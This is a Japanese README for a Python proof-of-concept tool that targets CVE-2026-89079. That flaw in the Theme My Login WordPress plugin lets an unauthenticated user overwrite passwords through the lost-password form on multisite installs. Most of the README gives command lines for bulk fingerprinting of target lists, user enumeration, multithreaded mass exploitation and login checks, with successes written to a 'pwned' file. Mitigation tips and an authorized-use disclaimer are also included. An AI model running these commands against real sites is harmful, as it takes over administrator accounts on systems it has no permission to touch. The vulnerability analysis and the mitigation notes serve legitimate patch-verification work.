
CVE-2026-89079 の Python PoC:WordPress マルチサイト上で Theme My Login <=7.2.1 をフィンガープリントし、lost-password を介した未認証のパスワード上書きを悪用して、ログインを検証します。
CVE-2026-89079 に関するセキュリティ研究ツール:Theme My Login ≤ 7.2.1 でネットワークオプション tml_user_passwords が有効な場合、WordPress マルチサイト上で未認証のアカウント乗っ取りが可能になります。
許可されたテストのみ。 所有していない、または書面によるテスト許可がないシステムに対して使用しないでください。
| プラグイン | Theme My Login |
| 影響を受けるバージョン | ≤ 7.2.1 |
| 修正済み | 7.2.2+ (06b7623) |
| CWE | CWE-269 不適切な権限管理 |
| CVSS 3.1 | 9.8(Critical) |
次の3つすべてが真である必要があります:
is_multisite() — ms-hooks.php は実際の WordPress マルチサイトでのみ読み込まれます(シングルサイト上の TML /register/ では読み込まれません)。get_site_option( 'tml_user_passwords' ) — ネットワーク設定の「ユーザーが選択した登録パスワード」。tml_ms_filter_pre_insert_user_data() が retrieve_password() → wp_update_user() に対して $_POST['user_pass1'] を適用します。パスワードリセット POST 後に checkemail=confirm レスポンスが返っても、パスワードが変更されたことを証明するものではありません。これは脆弱なフィルターが無効な場合の通常の WordPress の動作です。
CVE-2026-89079/
├── poc.py # CLI: mass check / exploit / verify-only
├── tml_core.py # Detection, HTTP/form diagnostics, tests import
├── requirements.txt
├── targets.example.txt
├── tests/
│ └── test_tml_core.py
└── lab/
└── README.md # Disposable WP multisite lab notes
git clone https://github.com/YOUR_ORG/CVE-2026-89079.git
cd CVE-2026-89079
pip install -r requirements.txt
python poc.py --check https://target.example.com
# Bulk
python poc.py -f targets.txt --mode check -j 30 -q
# Optional: REST / ?author= hints → 3rd column in vuln list
python poc.py -f targets.txt --mode check --enum-users -j 30 -q
出力(デフォルト):
| ファイル | 内容 |
|---|---|
cve_2026_89079_results.jsonl | すべてのターゲット + finding_status、マルチサイト / user_pass1 のヒント |
cve_2026_89079_vuln.txt | TML ≤ 7.2.1(タブ: URL、バージョン、任意の best_login) |
cve_2026_89079_eligible.txt | より厳格なヒューリスティック: ネットワークサインアップ + サインアップ user_pass1(保証ではありません) |
finding_status の値には以下が含まれます: NOT_DETECTED、PATCHED、POTENTIALLY_VULNERABLE、PRECONDITIONS_UNKNOWN、VERIFICATION_INCONCLUSIVE、NETWORK_ERROR。
# Single target (default user: auto — enumerate admin-first when REST/?author= allows)
python poc.py https://target.example.com --mode exploit
python poc.py https://target.example.com -u admin --mode exploit
python poc.py https://target.example.com --version-hint 6.8.2 --login-hint admin --mode exploit
# Bulk from vuln list
python poc.py -f cve_2026_89079_vuln.txt --mode exploit -j 15 -q
便利なフラグ:
| フラグ | 目的 |
|---|---|
--no-require-multisite | マルチサイトのヒューリスティックが失敗しても試行する(単一サイトのTMLサイトが多い場合) |
--require-user-passwords | サインアップページに user_pass1 がない場合はスキップする |
--only-eligible | 事前の --check-jsonl で exploit_eligible となった行のみを悪用する |
--verify-only | パスワードPOST / ログインを行わない — フォームとエンドポイントの診断のみ |
--skip-version-check | readmeがブロックされている場合でも強制的に試行する |
-q | 一括ログの出力を抑える |
出力: cve_2026_89079_exploit.jsonl、cve_2026_89079_pwned.txt(ログイン成功)。
python -m unittest discover -s tests -v
tml_lost_password_handler() → コアの retrieve_password()。wp_pre_insert_user_data フィルターはパスワード紛失処理中の更新($update)を無視します。wp-signup.php → /register/ へのリダイレクトを無視します(よくある シングルサイト TML の誤検知)。html.parser で解析されます。設定されている場合、TML AJAX のパスワード紛失処理をサポートします。tml_user_passwords またはプラグインを無効化してください。user_pass1 を含むパスワード紛失 URL への未認証 POST をブロックするか、アラートを発してください。本プロジェクトは防御的セキュリティ研究、パッチ検証、および許可されたペネトレーションテストを目的としています。悪用は禁止されています。作者は不正使用に対して一切の責任を負いません。